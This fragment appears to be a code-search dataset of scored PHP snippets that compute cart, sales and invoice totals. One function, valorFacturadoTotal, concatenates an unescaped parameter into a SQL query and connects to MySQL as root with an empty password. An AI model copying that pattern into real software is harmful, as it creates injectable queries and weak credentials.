ctrSumaTotalVentas(){\n\n\t\t$tabla = \"ventas\";\n\n\t\t$respuesta = ModeloVentas::mdlSumaTotalVentas($tabla);\n\n\t\treturn $respuesta;\n\n\t}", "title": "" }, { "docid": "b47f62ea4530b06488abe1dfa92989d9", "score": "0.70495456", "text": "function total($euros){\n $this->SetFont('Arial', 'B', 15);\n // Movernos a la derecha\n $this->Cell(142);\n // Título\n $this->Cell(55, 15, 'TOTAL: '.$euros, 1, 0, 'C');\n // Salto de línea\n $this->Ln(20);\n }", "title": "" }, { "docid": "0bcdac587f287e8a5c0a8eb1260ad514", "score": "0.70444167", "text": "public function ctrSumaTotalVentas(){\n\t\t\n\t\t$tabla = \"ventas\";\n\n\t\t$respuesta = ModeloVentas::mdlSumaTotalVentas($tabla);\n\n\t\treturn $respuesta;\n\n\t}", "title": "" }, { "docid": "ccd4ac0e69d12fc103e6a5c3f86683bf", "score": "0.7009563", "text": "public function getTotalChargesReel() {\n return $this->getAmmortissemntBien() + $this->getAmmortissemntMeubles() + $this->getChargesImposbles() + $this->getInteretEmprunt();\n }", "title": "" }, { "docid": "8ba7c8d86f1e2d33481f8f53572fe655", "score": "0.6974022", "text": "static function getTotales() {\n\n $carrito = new Carrito();\n $filtro = \"Sesion='{$_SESSION['IdSesion']}'\";\n $rows = $carrito->cargaCondicion(\"sum(Unidades) as Unidades, sum(Importe) as Importe\", $filtro);\n\n foreach ($_SESSION['carrito'] as $key => $value) {\n $rows[0][$key] = $value;\n }\n $rows[0]['total'] = $rows[0]['Importe'] + $rows[0]['gastosEnvio'];\n\n //Quitar los decimales de las unidades\n $rows[0]['Unidades'] = number_format($rows[0]['Unidades'], 0);\n\n return $rows[0];\n }", "title": "" }, { "docid": "ae4fd2ea41d432b50486a52009d3715f", "score": "0.6942465", "text": "public function getTotalAmount();", "title": "" }, { "docid": "ae4fd2ea41d432b50486a52009d3715f", "score": "0.6942465", "text": "public function getTotalAmount();", "title": "" }, { "docid": "0a4e6093be8408d4c9113c9917b79589", "score": "0.68955106", "text": "function precioTotal($cesta){\n\n $sum = 0;\n\n foreach($cesta->getCesta() as $producto){\n \n $sum += $producto->getPrecio();\n\n }\n\n echo \"<tr>\";\n\n echo \"<td colspan=\\\"2\\\">Total</td>\";\n echo \"<td colspan=\\\"2\\\">\".$sum.\"€</td>\";\n\n echo \"</tr>\";\n\n }", "title": "" }, { "docid": "4d440ac3b08ed0b982b67ff26ed2a37a", "score": "0.6860918", "text": "public function cabecetablatotal()\n { \n $tabla='<thead><tr><th width=\"30px\">Nº</th>';\n $tabla.='<th colspan=\"2\"> Actividad</th>';\n $tabla.='<th width=\"40px\" title=\"Enero\">E</th>';\n $tabla.='<th width=\"40px\" title=\"Febrero\">F</th>';\n $tabla.='<th width=\"40px\" title=\"Marzo\">M</th>';\n $tabla.='<th width=\"40px\" title=\"Abril\">A</th>';\n $tabla.='<th width=\"40px\" title=\"Mayo\">M</th>';\n $tabla.='<th width=\"40px\" title=\"Junio\">J</th>';\n $tabla.='<th width=\"40px\" title=\"Julio\">J</th>';\n $tabla.='<th width=\"40px\" title=\"Agosto\">A</th>';\n $tabla.='<th width=\"40px\" title=\"Septiembre\">S</th>';\n $tabla.='<th width=\"40px\" title=\"Octubre\">O</th>';\n $tabla.='<th width=\"40px\" title=\"Noviembre\">N</th>';\n $tabla.='<th width=\"41px\" title=\"Diciembre\">D</th>';\n $tabla.='<th width=\"40px\">TOTAL</th>'; \n $tabla.='</tr></thead>';\n $tabla.='<tfoot><tr>';\n $tabla.='<td >Nº</td>';\n $tabla.='<td colspan=\"2\"> Actividad</td>';\n $tabla.='<td title=\"Enero\">E</td>';\n $tabla.='<td title=\"Febrero\">F</td>';\n $tabla.='<td title=\"Marzo\">M</td>';\n $tabla.='<td title=\"Abril\">A</td>';\n $tabla.='<td title=\"Mayo\">M</td>';\n $tabla.='<td title=\"Junio\">J</td>';\n $tabla.='<td title=\"Julio\">J</td>';\n $tabla.='<td title=\"Agosto\">A</td>';\n $tabla.='<td title=\"Septiembre\">S</td>';\n $tabla.='<td title=\"Octubre\">O</td>';\n $tabla.='<td title=\"Noviembre\">N</td>';\n $tabla.='<td title=\"Diciembre\">D</td>'; \n $tabla.='<td>TOTAL</td>'; \n $tabla.='</tr></tfoot>';\n return $tabla;\n }", "title": "" }, { "docid": "393ee208f9ef1bd981dd66916e14a155", "score": "0.6832417", "text": "public function calcularTotalPrestaciones()\n {\n $total = $this->getSueldo() +\n $this->getBonificacionIncentivo() +\n $this->getOtraBonificacion() +\n $this->getGasolina() +\n $this->getPrestacionesSobreSueldo() +\n $this->getOtrasPrestaciones() +\n $this->getViaticos() +\n $this->getOtros() +\n $this->getGastosIndirectos();\n //Esto ya está integrado en el costo\n //La indemnizacion, aguinaldo, bono14,cuota patronal\n //ya está integrado en el costo\n\n return $total;\n }", "title": "" }, { "docid": "c3143a51b40a1834f2e34418518c522b", "score": "0.6819229", "text": "public function getTotal()\n {\n \t\t$total = $this->getPasta()->getPrecio();\n\n \t\t// Calculamos el valor del queso\n \t\t$queso = FactoryTipoIngrediente::getTipoIngrediente(CarneVegetalQueso::QUESO);\n \t\t$precioxgramo = $queso->getPrecio() / 100;\n \t\t$total += $this->getQueso() * $precioxgramo;\n\n \t\tforeach ($this->getLista_ingredientes() as $ingrediente)\n {\n \t\t\t$total += $ingrediente->getTotal();\n \t\t}\n\n \t\treturn $total;\n \t}", "title": "" }, { "docid": "8b0f83528e53d1f8d482a6a3109138a6", "score": "0.6815643", "text": "public function calcularTotalPagar(){\t\n\t\t$monto = 0;\n foreach($this->productos as $indice => $producto){\n $monto += $producto->precioTotal();\n }\n return number_format($monto, 2, '.', '');\n }", "title": "" }, { "docid": "6799d86fdcc84d2499c785a20ee8dd91", "score": "0.68100524", "text": "public function getTotal(): float\n {\n\n $total = 0;\n\n //recuperation $monPanier en faisant appel a la fonction ci-dessus getContenu\n $monPanier = $this->getContenu();\n\n foreach ($monPanier as $contenu) {\n\n //calcul du prix total du panier\n $total += $contenu['produit']->getPrix() * $contenu['quantite'];\n }\n return $total;\n\n }", "title": "" }, { "docid": "fddf06246ed1d9262bbb8dff980f9c2d", "score": "0.6780653", "text": "protected function calculatetotal(){\n\t\t$total = $this->UnitPrice() * $this->Quantity;\n\t\t$this->extend('updateTotal',$total);\n\t\t$this->CalculatedTotal = $total;\n\t\treturn $total;\n\t}", "title": "" }, { "docid": "1a4f1836c9414d37ed8e96998d82f120", "score": "0.67768145", "text": "public function readTotal()\n {\n }", "title": "" }, { "docid": "e4da19808b5c90b961e62f01a44ed29b", "score": "0.6773575", "text": "public function getCalculateTotal()\n {\n $this->updateFreight();\n\n $totals = $this->getProductsTotal();\n\n $this->setvlsubtotal($totals['vlprice']);\n $this->setvltotal($totals['vlprice'] + $this->getvlfreight());\n }", "title": "" }, { "docid": "b1051a8c0c4ad95b0c5de0c7fdec458a", "score": "0.67681843", "text": "public static function searchTotal()\n\t{\n\t\t$total = self::all()->total();\n\t\treturn $total;\n\t}", "title": "" }, { "docid": "a8e5341ee7a4d346c5bef6c0ca1fc966", "score": "0.6746397", "text": "public function getCalculateTotal()\n\t{\n\n\t\t$this->updateFreight();\n\n\t\t// observe que quando fazemos um get, estamos pegando algum dado por isso o get vem precedido de parenteses\n\t\t// agora quando fazemos um set, estamos passando uma informação, então sempre existe valor dentro dos parenteses.\n\t\t$totals = $this->getProductsTotals();\n\t\t// veja que para pegar o valor total do select, temos que jogar o array em uma variável \"$totals\" e depois seta-la no array do metodo set com \"$this->setvlsubtotal($totals['vlprice'])\". Neste caso estamos criando mais uma variável dentro do array seteres chamada vlsubtotal...\n\t\t$this->setvlsubtotal($totals['vlprice']);\n\t\t$this->setvltotal(($totals['vlprice'] + $this->getvlfreight()));\n\n\t}", "title": "" }, { "docid": "3109f804462802fce4fda5866da77813", "score": "0.6745021", "text": "public function total(){\n \n $total = 0;\n foreach ($this->addedItems as $sku => $cartItem){\n $item = staticData::getItem($sku);\n $itemTotal = $this->scan($item);\n $total = $total + $itemTotal;\n }\n return number_format($total,2);\n }", "title": "" }, { "docid": "0d68b307a06be42cecd33e192dc53d58", "score": "0.6732036", "text": "public function total_du(){\n\n $compromis = $this;\n\n $total_ht = 0 ;\n $total_tva = 0 ;\n\n if($compromis->getHonoPorteur() != null){\n $total_ht += $compromis->getHonoPorteur()->montant_ht;\n $total_tva += $compromis->getHonoPorteur()->montant_ttc > 0 ? $compromis->getHonoPorteur()->montant_ht * Tva::tva() : 0 ;\n\n }else{\n $total_ht += $compromis->getFactureHonoProvi()['montant_ht'];\n $total_tva += $compromis->getFactureHonoProvi()['montant_tva'];\n }\n\n if($compromis->getHonoPartage() != null){\n $total_ht += $compromis->getHonoPartage()->montant_ht;\n $total_tva += $compromis->getHonoPartage()->montant_ttc > 0 ? $compromis->getHonoPartage()->montant_ht * Tva::tva() : 0 ;\n }else{\n $total_ht += $compromis->getFactureHonoPartageProvi()['montant_ht'];\n $total_tva += $compromis->getFactureHonoPartageProvi()['montant_tva'];\n }\n\n if($compromis->getFactureParrainPorteur() != null){\n\n $total_ht += $compromis->getFactureParrainPorteur()->montant_ht;\n $total_tva += $compromis->getFactureParrainPorteur()->montant_ttc > 0 ? $compromis->getFactureParrainPorteur()->montant_ht * Tva::tva() : 0 ;\n }else{\n $total_ht += $compromis->getFactureParrainPorteurProvi()['montant_ht'];\n $total_tva += $compromis->getFactureParrainPorteurProvi()['montant_tva'];\n }\n\n if($compromis->getFactureParrainPartage() != null){\n $total_ht += $compromis->getFactureParrainPartage()->montant_ht;\n $total_tva += $compromis->getFactureParrainPartage()->montant_ttc > 0 ? $compromis->getFactureParrainPartage()->montant_ht * Tva::tva() : 0 ;\n }else{\n $total_ht += $compromis->getFactureParrainPartageProvi()['montant_ht'];\n $total_tva += $compromis->getFactureParrainPartageProvi()['montant_tva'];\n }\n\n\n return array(\"total_ht\"=> $total_ht, \"total_tva\"=> $total_tva) ;\n}", "title": "" }, { "docid": "645e726d84ba48739261f8c3cc1c430a", "score": "0.6718353", "text": "protected function get_total() {\n\t\treturn 0;\n\t}", "title": "" }, { "docid": "3408c7cffa3a41339999d06bbde7ecf8", "score": "0.6685038", "text": "public function getTotal()\n {\n return $this->{static::KEY_TOTAL};\n }", "title": "" }, { "docid": "2907ccffea2fda01791c845a21f86226", "score": "0.6643732", "text": "static function getTotales() {\n\n $carrito = new Carrito();\n $filtro = \"sesion='{$_SESSION['IdSesion']}'\";\n $rows = $carrito->cargaCondicion(\"sum(Unidades) as Unidades, sum(Importe) as Importe\", $filtro);\n\n return $rows[0];\n }", "title": "" }, { "docid": "b6d74fb7daa7513f8dce3c08ba8a5257", "score": "0.66358453", "text": "public function total()\n {\n $itemTotal = 0;\n $taxTotal = 0;\n\n $items = [];\n foreach($this->items as $item){\n\n $price = number_format($item['price'],2,'.','');\n $tax = number_format($item['tax'],2,'.','');\n\n $itemTotal += $price * $item['quantity'];\n $taxTotal += $tax;\n }\n\n return $itemTotal + $taxTotal;\n }", "title": "" }, { "docid": "89a593bc4f4e34f1213ae13b10228493", "score": "0.66333276", "text": "function montant_total()\n{\n\tif(!empty($_SESSION['panier']['titre']))\n\t{\n\t\t$taille_tab =sizeof($_SESSION['panier']['id_article']);\n\t\t$total = 0;\n\t\tfor($i = 0; $i < $taille_tab;$i++)\n\t\t{\n\t\t\t$total +=$_SESSION['panier']['prix'][$i] *$_SESSION['panier']['quantite'][$i];\n\t\t}\n\t\treturn $total;\n\t}\n}", "title": "" }, { "docid": "66b2210f50e1da02cc79e5af8a565dd2", "score": "0.6629121", "text": "public function get_total(){\n \treturn $this->total;\n }", "title": "" }, { "docid": "92c4924a1b1adc9a788c7865a65c6cd6", "score": "0.66253984", "text": "protected function getFinancialTotals()\n {\n\t // get scholarship total\n\t\t$scholarship_total = $this->getScholarshipsTotal();\n\t\t\n\t\tif (!isset($scholarship_total))\n\t\t{\n\t\t\t$scholarship_total = 0;\n\t\t}\t\t\t\t\n// \t\t$this->template->set('scholarshipTotal', $scholarship_total );\n\t\t\n\t\t\n\t\t// get cash total\n\t\t$cash_total = $this->getCashPaidTotal();\n\t\tif (!isset($cash_total))\n\t\t{\n\t\t\t$cash_total = 0;\n\t\t}\n// \t\t$this->template->set('cashTotal', $cash_total );\n\t\t\n\t\t// get cash owed\n\t\t$cash_owing = $this->getCashOwedTotal();\n\t\tif (!isset($cash_owing))\n\t\t{\n\t\t\t$cash_owing = 0;\n\t\t}\n// \t\t$this->template->set('cashOwed', $cash_owing );\t\t\t\n\n\t\t\n\t // get credit card total\n\t $cc_total = $this->getCCtransTotal();\n\n\t\tif (!isset($cc_total))\n\t\t{\n\t\t\t$cc_total = 0;\n\t\t}\t\t\t\n// \t\t$this->template->set('ccTotal', $cc_total );\t\n\t\t\t\n\t\t$totalPaid = $scholarship_total + $cash_total + $cc_total; \n\t\tif (($totalPaid + $cash_owing) >= $this->deposit)\n\t\t{\n\t\t\t$this->linkLabels[ 'cont' ] = $this->labels->getLabel( '[Continue]'); \t\t\n\t\t}\t\n\t\t\n\t\t\n\t\t// set the balance-owing column in the cim_reg_registration table\n\t\t$owed = $this->basePriceForThisGuy - $scholarship_total - $cash_total - $cc_total; \n\t\t$registration = new RowManager_RegistrationManager($this->reg_id);\n\t\t$registration->setBalanceOwing($owed);\n\t\t\n\t\t$balance = array();\n\t\t$balance['registration_balance'] = $owed;\n\t\t$registration->loadFromArray( $balance );\n\t\t$registration->updateDBTable();\n\t\t\n\t\treturn $scholarship_total.','.$cash_total.','.$cash_owing.','.$cc_total;\n\t}", "title": "" }, { "docid": "7416dbaebefbdfe8e10c1d81c202810b", "score": "0.6616835", "text": "public function totalRegistros($tabla)\n { \n $db = $this->getDbo();\n // Consultando los datos\n $sql = \"SELECT * FROM \".$tabla.\"\";\n if ($result = $db->query($sql)) { \n // Obtener el total\n $total = $result->num_rows;\n $result->close();\n } \n \n return $total;\n }", "title": "" }, { "docid": "4f1e1b32f86f32e1275958d04cd0df6d", "score": "0.66001636", "text": "function montant_total()\n{\n\t$total = 0;\n\t$nb_articles = count($_SESSION['panier']['titre']); //on récupère le nombre d'articles dans le panier (n'importe lequel des 4: quantite, titre, prix, id_article)\n\tfor($i = 0; $i < $nb_articles ; $i++)\n\t{\n\t\t$total += $_SESSION['panier']['prix'][$i]*$_SESSION['panier']['quantite'][$i]; // on multiplie le prix par la quantité de l'indice en cours => chaque article présent dans le panier et on ajoute ces valeurs dans la variable $total\n\t}\n\treturn round($total, 2); // round() permet d'arrondir la valeur, le deuxième argument précise le nombre de décimales\n}", "title": "" }, { "docid": "bf621dcd60220c0294b7e765b7a066b9", "score": "0.6592509", "text": "public function total()\n\t\t{\n\t\t\t$data['total_asset'] = $this->model_system->hitungJumlahAsset();\n\t\t\t$data['total'] = $this->model_system->kode_kriteria();\n\t\t\t$this->load->view('admin/indexadmin', $data);\n\t\t\t$this->load->view('admin/indexadmin', $total);\n\t\t}", "title": "" }, { "docid": "5cd6ed3eb22430c1ef29fb8c18046991", "score": "0.6563043", "text": "public function total() {\n $price = 49.99;\n\n \treturn $this->quantity * $price;\n }", "title": "" }, { "docid": "e56682d3caf531b5a5ee95fa5a07f4ec", "score": "0.6561445", "text": "function montantTotal()\n{\n\t$total = 0;\n\tfor ($i = 0; $i < count($_SESSION['panier']['quantite']); $i++)\n\t{\n\t\t$total += $_SESSION['panier']['prix'][$i] * $_SESSION['panier']['quantite'][$i];\n\t}\n\treturn round($total, 2);\n}", "title": "" }, { "docid": "a3814b73668c24f28a7b2ffda56a604a", "score": "0.65569955", "text": "function getTotalLaborCost() {\n\t\t$labourdetails = $this->getHiredLabourDetails();\n\t\t$sumamount = 0;\n\t\tforeach($labourdetails as $labour){\n\t\t\t$sumamount += ($labour->getitemqty() * $labour->getunitprice()) + $labour->getfieldcost();\n\t\t}\n\t\treturn $sumamount;\n\t}", "title": "" }, { "docid": "1b642ce29ad3a77f78ffd352ef5a8d4d", "score": "0.6554605", "text": "function get_total() {\n\t\treturn jigoshop_price(self::$total);\n\t}", "title": "" }, { "docid": "7e2590948617c22bd8113dff904ea57d", "score": "0.65509343", "text": "public function getTotal()\n {\n\n $this->activeRecord->resetAll();\n $query = \"($this->totalQuery)\";\n $prepared = $this->activeRecord->prepare($query);\n $prepared->execute();\n $result = $prepared->fetchAll(\\PDO::FETCH_OBJ);\n $totalName = $this->fieldTotalName;\n $total = count($result) > 0 ? (int) $result[0]->$totalName : 0;\n\n return $total;\n }", "title": "" }, { "docid": "0399342217fde1e101c8dd3fd4be8a4c", "score": "0.65310425", "text": "public function amountTotal(){\n\t\t$callback = function($carry,$value){\n\t\t\treturn 0;//$carry += $value->cost();\n\t\t};\n\n\t\tif (count($this->itemList) > 0){\n\t\t\treturn array_reduce($this->itemList, $callback, 0);\n\t\t}else{\n\t\t\treturn \"0\";\n\t\t}\n\t}", "title": "" }, { "docid": "26111aeda7a856f900a2840eeeff0d9b", "score": "0.6524725", "text": "protected function updateTotal()\n {\n $total = 0;\n\n foreach ($this->products as $product) {\n $total += $product->getUnitPrice();\n }\n\n $this->total = $total;\n }", "title": "" }, { "docid": "9fba1bf0306c5e42f181730c28132ee2", "score": "0.6521405", "text": "public function getTotal() \n {\n return 0;\n }", "title": "" }, { "docid": "0438f20a242c56b145f402f6d7852ef6", "score": "0.6521076", "text": "function calculate_cart_totals(){\n // Si no hay productos aun pero el carrito si existe ya\n if(!isset($_SESSION['car']) || empty($_SESSION['car']['products'])) {\n $car_totals =\n [\n 'subtotales' => 0,\n 'shipment' => 0,\n 'total' => 0\n ];\n return $car_totals;\n }\n \n // Calcular los totales según los products en carrito\n $subtotal = 0;\n $shipment = SHIPPING_COST;\n $total = 0;\n\n // Si ya hay productos hay que sumar las cantidades\n foreach ($_SESSION['car']['products'] as $p) {\n $_total = floatval((int)$p['cantidad'] * (float)$p['precio']);\n $subtotal = floatval($subtotal + $_total);\n }\n\n $total = floatval($subtotal + $shipment); \n $car_totals =\n [\n 'subtotal' => $subtotal,\n 'shipment' => $shipment,\n 'total' => $total\n ];\n return $car_totals;\n}", "title": "" }, { "docid": "338a32fcd3490e10dd967e1a6f6d5094", "score": "0.6509715", "text": "public function getTotalAmount() {\n $invoiceposkus = $this->invoicePoskus;\n $totalskuprice = 0;\n\n foreach($invoiceposkus as $invoiceposku){\n if($invoiceposku->activ == 1){\n if($this->iddept0->idlocation == 1){\n $totalskuprice += ($invoiceposku->shipqty * (ComSpry::calcSkuCost($invoiceposku->idsku)));\n\n }else{\n $locationstocks = Deptskulog::model()->findByAttributes(array('idsku'=>$invoiceposku->idsku,'iddept'=>$this->idlocation,'po_num'=>$invoiceposku->idpo));\n if (isset($locationstocks))\n $totalskuprice += ($invoiceposku->shipqty * ($locationstocks->pricepp));\n\n }\n }\n }\n\n if(!empty($totalskuprice)){\n return(round($totalskuprice ,2));\n }\n }", "title": "" }, { "docid": "60b58bf86ba4b5eac22eb21ec8df3e86", "score": "0.6486437", "text": "protected function queryTotal()\n {\n// $this->total = $result[0]['total'];\n $this->total = $this->criteria->count();\n }", "title": "" }, { "docid": "8f707899753db6a10dbafddb3134a13e", "score": "0.64763564", "text": "public function total()\n {\n return ($this->count * $this->cateringMenu->price) + ($this->delivery ? 150 : 0);\n }", "title": "" }, { "docid": "c759e851c746585acc01856f5e6fa2b0", "score": "0.647518", "text": "public function stocktotal()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "c759e851c746585acc01856f5e6fa2b0", "score": "0.647518", "text": "public function stocktotal()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "89bb4a2fd86cc2aa07f36ceaccb58837", "score": "0.6462976", "text": "public function total()\n\t{\n\t\treturn $this->price * $this->quantity;\n\t}", "title": "" }, { "docid": "7b524ec6e753af2fac064e1fa11511a6", "score": "0.64621633", "text": "public function totalColecao(){\r\n $oRhCargoComissaoBD = new RhCargoComissaoBD();\r\n return $oRhCargoComissaoBD->totalColecao();\r\n }", "title": "" }, { "docid": "112c17ae191275ba4320da5427523c2b", "score": "0.645581", "text": "public function getTotal()\n {\n $total = 0;\n\n \tforeach ($this->items as $item)\n \t{\n \t\t$total += $item->value;\n \t}\n\n \treturn $total;\n }", "title": "" }, { "docid": "c2fac0a11c04285f2dd3d6e9f309f8ac", "score": "0.64490026", "text": "function totalSales() {\n foreach( $_SESSION['db'][$this->entityName] as $key => $salesman) {\n \n $totalVendas = 0;\n $qtdVendas = 0;\n\n foreach ($_SESSION['db']['sales'] as $sale) {\n \n if ( $sale['id_salesman'] == $key ) {\n $totalVendas += $sale['item']['final_price'];\n $qtdVendas++;\n $_SESSION['db'][$this->entityName][$key]['total_sales'] = $totalVendas;\n $_SESSION['db'][$this->entityName][$key]['qtd_sales'] = $qtdVendas;\n }\n }\n }\n \n }", "title": "" }, { "docid": "72fe61311c2ad7f46765bdddb523b5ea", "score": "0.6444127", "text": "function valorFacturadoTotal($codProyecto){\n\t\tinclude_once(\"../../../scripts/adodb5/adodb.inc.php\");\n\t\tinclude_once(\"../../../scripts/adodb5/adodb-exceptions.inc.php\");\n#\t\t$motorBD=\"MySQL\"; $sevidorBD=\"127.0.0.1\"; $usuarioBD=\"root\"; $claveBD=\"\"; $basedatos=\"fichaproyectos\";\n\t\t$motorBD=\"mysqli\"; $sevidorBD=\"127.0.0.1\"; $usuarioBD=\"root\"; $claveBD=\"\"; $basedatos=\"fichaproyectos\";\n\t\t$db=&ADONewConnection($motorBD); #Aquí le decimos que motor base de datos queremos trabajar\n\t\t$db->Pconnect($sevidorBD, $usuarioBD, $claveBD, $basedatos); #\"servidor\",\"usuario\",\"contraseña\",\"basededatos\"\n\n\t\t$caSql=\"\";\n\t\t$caSql=\"SELECT SUM(facturacion.fact_total) AS valFacturacion\n\t\t\t\t\t\tFROM proyectos \n\t\t\t\t\t\tINNER JOIN facturacion ON proyectos.pro_codigo=facturacion.pro_codigo\n\t\t\t\t\t\tAND facturacion.fact_valor_consign!=0\n\t\t\t\t\t\tAND proyectos.pro_codigo='\".$codProyecto.\"'\";\n\t\t$arFacturacion=$db->GetArray($caSql);\n\t\tfor($i=0; $i<count($arFacturacion); $i++){\n\t\t\t$valFacturado=trim($arFacturacion[$i][0]);\n\t\t}\n\t\treturn $valFacturado;#$valFacturado;\n\n\t}", "title": "" }, { "docid": "84a645517915eca7e5a33ece9639f65b", "score": "0.6426507", "text": "function montantTotal(){\r\n\t$total = 0;\r\n\r\n\tif(isset($_SESSION['panier']) && !empty($_SESSION['panier']['prix']) ){\r\n\t\tfor($i=0; $i < count($_SESSION['panier']['prix']); $i++){\r\n\r\n\t\t\t$total += $_SESSION['panier']['prix'][$i] * $_SESSION['panier']['quantite'][$i];\r\n\t\t}\r\n\t}\r\n\r\n\tif($total != 0){\r\n\t\treturn $total;\r\n\t}\r\n}", "title": "" }, { "docid": "f79f623e26a562a558c06eb1df1891ad", "score": "0.642318", "text": "function getCCtransTotal() \n {\n \t\t $ccTrans = new RowManager_CreditCardTransactionManager();\n\t\t $ccTrans->setRegID($this->reg_id);\n\t\t $ccTrans->setProcessed(true);\n\t\t $ccTransTotal = new MultiTableManager();\n\t\t $ccTransTotal->addRowManager($ccTrans);\n\t\t $ccTransTotal->setFunctionCall('SUM','cctransaction_amount');\n\t\t $ccTransTotal->setGroupBy('reg_id');\n\t\t \n\t $ccTransList = $ccTransTotal->getListIterator(); \n $ccTransArray = $ccTransList->getDataList();\t\t \n\t\n $cc_total = 0;\n reset($ccTransArray);\n \tforeach(array_keys($ccTransArray) as $k)\n\t\t\t{\n\t\t\t\t$cc_trans = current($ccTransArray);\t\n\t\t\t\t$cc_total = $cc_trans['SUM(cctransaction_amount)'];\t\t\n\t\t\t\t\n\t\t\t\tnext($ccTransArray);\n\n\t\t\t}\n\t\t\treturn $cc_total;\n\t\t}", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "c139a9f64ea1dd4663786cf3437e0f86", "score": "0.6421581", "text": "public function getTotal()\n {\n return $this->total;\n }", "title": "" }, { "docid": "fad16d72a8183a3dbbb5625f6ccd6d8d", "score": "0.64204735", "text": "static public function mdlSumaTotalCierres($tabla){\t\n\n\t\t$stmt = Conexion::conectar()->prepare(\"SELECT SUM(neto) as total FROM $tabla\");\n\n\t\t$stmt -> execute();\n\n\t\treturn $stmt -> fetch();\n\n\t\t$stmt -> close();\n\n\t\t$stmt = null;\n\n\t}", "title": "" }, { "docid": "5f35cd0cbe3e2b4dc67d392e20b82754", "score": "0.64177126", "text": "public function getTotal()\n {\n return $this->getQuantity() * $this->getPrice();\n }", "title": "" }, { "docid": "e43cebd9c207a607ea2c8799c5e8d514", "score": "0.64119315", "text": "public function getTotal()\n\t{\n\t\tif (strpos($this->benefits_sale, \"%\") && strpos($this->benefits_sale, \"€\")) {\n\t\t\t// Check witch one goes first\n\t\t\tif (strpos($this->benefits_sale, \"%\") < strpos($this->benefits_sale, \"€\")) {\n\t\t\t\t// Check if it adds or subtracts\n\t\t\t\tif ($this->benefits_sale[0] != \"-\") {\n\t\t\t\t\tpreg_match('/[+](.*?)%/', $this->benefits_sale, $output_percent);\n\t\t\t\t\t$total_percent = $this->subtotal * ($output_percent[1] / 100);\n\t\t\t\t\t$benefit = $this->subtotal + $total_percent;\n\t\t\t\t\t$benefit1 = str_replace($output_percent[0], \"\", $this->benefits_sale);\n\t\t\t\t\tif ($benefit1[0] != \"-\") {\n\t\t\t\t\t\tpreg_match('/[+](.*?)€/', $benefit1, $output_currency);\n\t\t\t\t\t\t$this->benefit = $total_percent + $output_currency[1];\n\t\t\t\t\t\t$this->total = $benefit + $output_currency[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpreg_match('/[-](.*?)€/', $benefit1, $output_currency);\n\t\t\t\t\t\t$this->benefit = $total_percent - $output_currency[1];\n\t\t\t\t\t\t$this->total = $benefit - $output_currency[1];\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tpreg_match('/[-](.*?)%/', $this->benefits_sale, $output_percent);\n\t\t\t\t\t$total_percent = $this->subtotal * ($output_percent[1] / 100);\n\t\t\t\t\t$benefit = $this->subtotal - $total_percent;\n\t\t\t\t\t$benefit1 = str_replace($output_percent[0], \"\", $this->benefits_sale);\n\t\t\t\t\tif ($benefit1[0] != \"-\") {\n\t\t\t\t\t\tpreg_match('/[+](.*?)€/', $benefit1, $output_currency);\n\t\t\t\t\t\t$this->benefit = $total_percent + $output_currency[1];\n\t\t\t\t\t\t$this->total = $benefit + $output_currency[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpreg_match('/[-](.*?)€/', $benefit1, $output_currency);\n\t\t\t\t\t\t$this->benefit = $total_percent + $output_currency[1];\n\t\t\t\t\t\t$this->total = $benefit - $output_currency[1];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif ($this->benefits_sale[0] != \"-\") {\n\t\t\t\t\tpreg_match('/[+](.*?)€/', $this->benefits_sale, $output_currency);\n\t\t\t\t\t$total_currency = $this->subtotal + $output_currency[1];\n\t\t\t\t\t$benefit1 = str_replace($output_currency[0], \"\", $this->benefits_sale);\n\t\t\t\t\tif ($benefit1[0] != \"-\") {\n\t\t\t\t\t\tpreg_match('/[+](.*?)%/', $benefit1, $output_percent);\n\t\t\t\t\t\t$this->benefit = $total_currency * ($output_percent[1] / 100);\n\t\t\t\t\t\t$this->total = $total_currency + $this->benefit;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpreg_match('/[-](.*?)%/', $benefit1, $output_percent);\n\t\t\t\t\t\t$this->benefit = $total_currency * ($output_percent[1] / 100);\n\t\t\t\t\t\t$this->total = $total_currency - $this->benefit;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tpreg_match('/[-](.*?)€/', $this->benefits_sale, $output_currency);\n\t\t\t\t\t$total_currency = $this->subtotal - $output_currency[1];\n\t\t\t\t\t$benefit1 = str_replace($output_currency[0], \"\", $this->benefits_sale);\n\t\t\t\t\tif ($benefit1[0] != \"-\") {\n\t\t\t\t\t\tpreg_match('/[+](.*?)%/', $benefit1, $output_percent);\n\t\t\t\t\t\t$this->benefit = $total_currency * ($output_percent[1] / 100);\n\t\t\t\t\t\t$this->total = $total_currency + $this->benefit;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tpreg_match('/[-](.*?)%/', $benefit1, $output_percent);\n\t\t\t\t\t\t$this->benefit = $total_currency * ($output_percent[1] / 